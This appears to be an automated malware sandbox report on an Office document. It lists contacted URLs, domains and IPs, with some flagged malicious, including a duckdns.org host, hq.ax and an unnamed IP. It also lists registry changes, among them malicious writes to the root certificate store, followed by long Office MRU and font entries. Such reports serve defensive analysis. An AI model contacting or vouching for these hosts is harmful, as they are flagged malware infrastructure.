https://dc.ads.linkedin.com/collect/?pid=6883&opid=7850&fmt=gif&ck=&3pc=true&an_user_id=591650497549
unknown
https://asociatiatraditiimaria.ro/wp-content/themes/astra/assets/css/minified/main.min.css?ver=4.7.2
unknown
https://new.quranushaiqer.org.sa
unknown
http://cdn.at.atwola.com/_media/uac/msn.html
unknown
http://go.microsoft.c
unknown
https://www.google.com/accounts/servicelogin
unknown
http://dis.criteo.com/dis/usersync.aspx?r=7&p=3&cp=appnexus&cu=1&url=http%3A%2F%2Fib.adnxs.com%2Fset
unknown
https://secure.comodo.com/CPS0
unknown
https://policies.yahoo.com/w3c/p3p.xml
unknown
http://crl.entrust.net/2048ca.crl0
unknown
http://www.msn.com/advertisement.ad.js
unknown
http://www.ebuddy.com
unknown
There are 80 hidden URLs, click here to show them.

Domains

Name
IP
Malicious
hq.ax
188.114.96.3
malicious
iwarsut775laudrye2.duckdns.org
192.253.251.227
malicious
bg.microsoft.map.fastly.net
199.232.214.172
asociatiatraditiimaria.ro
93.113.54.56
shortify.pro
188.114.97.3
geoplugin.net
178.237.33.50
new.quranushaiqer.org.sa
34.166.62.190

IPs

IP
Domain
Country
Malicious
188.114.96.3
hq.ax
European Union
malicious
192.253.251.227
iwarsut775laudrye2.duckdns.org
United States
malicious
104.168.45.34
unknown
United States
malicious
34.166.62.190
new.quranushaiqer.org.sa
United States
93.113.54.56
asociatiatraditiimaria.ro
Romania
188.114.97.3
shortify.pro
European Union
198.46.176.133
unknown
United States
178.237.33.50
geoplugin.net
Netherlands

Registry

Path
Value
Malicious
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C
Blob
malicious
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C
Blob
malicious
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C
Blob
malicious
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
,i-
HKEY_CURRENT_USER\Software\Microsoft\Shared Tools\Outlook\Journaling\Microsoft Excel
Enabled
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel
MTTT
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\ReviewCycle
ReviewToken
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\27964
27964
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
iq-
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Security\Trusted Documents
LastPurgeTime
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Place MRU
Max Display
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Max Display
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 1
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 2
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 3
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 4
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 5
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 6
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 7
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 8
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 9
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 10
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 11
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 12
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 13
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 14
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 15
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 16
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 17
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 18
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 19
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 20
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\37233
37233
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\37752
37752
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\378A9
378A9
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached
{E7E4BC40-E76A-11CE-A9BB-00AA004AE837} {000214E6-0000-0000-C000-000000000046} 0xFFFF
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Place MRU
Max Display
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Place MRU
Item 1
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Max Display
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 1
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 2
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 3
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 4
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 5
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 6
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 7
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 8
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 9
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 10
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 11
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 12
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 13
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 14
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 15
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 16
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 17
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 18
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 19
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 20
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\file mru
Item 21
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
1033
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
1033
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
EXCELFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
ProductFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage
VBAFiles
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
SavedLegacySettings
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8
Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8
Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8
Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8
Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8
Blob
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\37752
37752
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
$"/
HKEY_CURRENT_USER\Software\Microsoft\Shared Tools\Outlook\Journaling\Microsoft Word
Enabled
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
MTTT
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
`"/
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\Internet\Server Cache
Version
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\Internet\Server Cache\http://hq.ax/
EnableBHO
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
r7/
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Place MRU
Max Display
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Place MRU
Item 1
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Max Display
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 1
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 2
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 3
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 4
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 5
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 6
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 7
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 8
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 9
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 10
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 11
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 12
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 13
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 14
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 15
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 16
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 17
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 18
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 19
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 20
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 21
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Max Display
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 1
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 2
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 3
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 4
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 5
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 6
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 7
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 8
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 9
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 10
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 11
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 12
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 13
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 14
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 15
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 16
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 17
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 18
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 19
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 20
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\file mru
Item 21
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\32165
32165
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@Arial Unicode MS
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@Batang
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@BatangChe
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@DFKai-SB
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@Dotum
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@DotumChe
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@FangSong
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@Gulim
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@GulimChe
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@Gungsuh
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@GungsuhChe
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@KaiTi
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@Malgun Gothic
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@Meiryo
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@Meiryo UI
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@Microsoft JhengHei
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@Microsoft YaHei
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@MingLiU
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@MingLiU_HKSCS
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@MingLiU_HKSCS-ExtB
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@MingLiU-ExtB
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@MS Gothic
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@MS Mincho
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@MS PGothic
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@MS PMincho
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@MS UI Gothic
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@NSimSun
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@PMingLiU
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@PMingLiU-ExtB
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@SimHei
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@SimSun
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
@SimSun-ExtB
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Agency FB
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Aharoni
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Algerian
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Andalus
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Angsana New
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
AngsanaUPC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Aparajita
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Arabic Typesetting
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Arial
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Arial Black
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Arial Narrow
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Arial Rounded MT Bold
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Arial Unicode MS
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Baskerville Old Face
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Batang
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
BatangChe
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Bauhaus 93
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Bell MT
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Berlin Sans FB
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Berlin Sans FB Demi
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Bernard MT Condensed
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Blackadder ITC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Bodoni MT
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Bodoni MT Black
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Bodoni MT Condensed
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Bodoni MT Poster Compressed
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Book Antiqua
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Bookman Old Style
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Bookshelf Symbol 7
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Bradley Hand ITC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Britannic Bold
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Broadway
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Browallia New
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
BrowalliaUPC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Brush Script MT
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Calibri
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Calibri Light
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Californian FB
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Calisto MT
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Cambria
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Cambria Math
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Candara
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Castellar
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Centaur
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Century
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Century Gothic
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Century Schoolbook
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Chiller
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Colonna MT
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Comic Sans MS
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Consolas
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Constantia
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Cooper Black
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Copperplate Gothic Bold
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Copperplate Gothic Light
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Corbel
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Cordia New
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
CordiaUPC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Courier New
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Curlz MT
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
DaunPenh
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
David
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
DFKai-SB
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
DilleniaUPC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
DokChampa
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Dotum
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
DotumChe
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Ebrima
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Edwardian Script ITC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Elephant
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Engravers MT
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Eras Bold ITC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Eras Demi ITC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Eras Light ITC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Eras Medium ITC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Estrangelo Edessa
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
EucrosiaUPC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Euphemia
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
FangSong
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Felix Titling
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Footlight MT Light
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Forte
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Franklin Gothic Book
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Franklin Gothic Demi
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Franklin Gothic Demi Cond
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Franklin Gothic Heavy
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Franklin Gothic Medium
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Franklin Gothic Medium Cond
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
FrankRuehl
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
FreesiaUPC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Freestyle Script
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
French Script MT
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Gabriola
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Garamond
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Gautami
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Georgia
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Gigi
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Gill Sans MT
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Gill Sans MT Condensed
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Gill Sans MT Ext Condensed Bold
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Gill Sans Ultra Bold
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Gill Sans Ultra Bold Condensed
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Gisha
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Gloucester MT Extra Condensed
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Goudy Old Style
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Goudy Stout
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Gulim
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
GulimChe
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Gungsuh
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
GungsuhChe
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Haettenschweiler
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Harlow Solid Italic
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Harrington
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
High Tower Text
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Impact
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Imprint MT Shadow
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Informal Roman
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
IrisUPC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Iskoola Pota
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
JasmineUPC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Jokerman
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Juice ITC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
KaiTi
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Kalinga
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Kartika
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Khmer UI
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
KodchiangUPC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Kokila
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Kristen ITC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Kunstler Script
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Lao UI
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Latha
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Leelawadee
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Levenim MT
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
LilyUPC
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Lucida Bright
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Lucida Calligraphy
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Lucida Console
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Lucida Fax
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\MathFonts
Lucida Handwriting
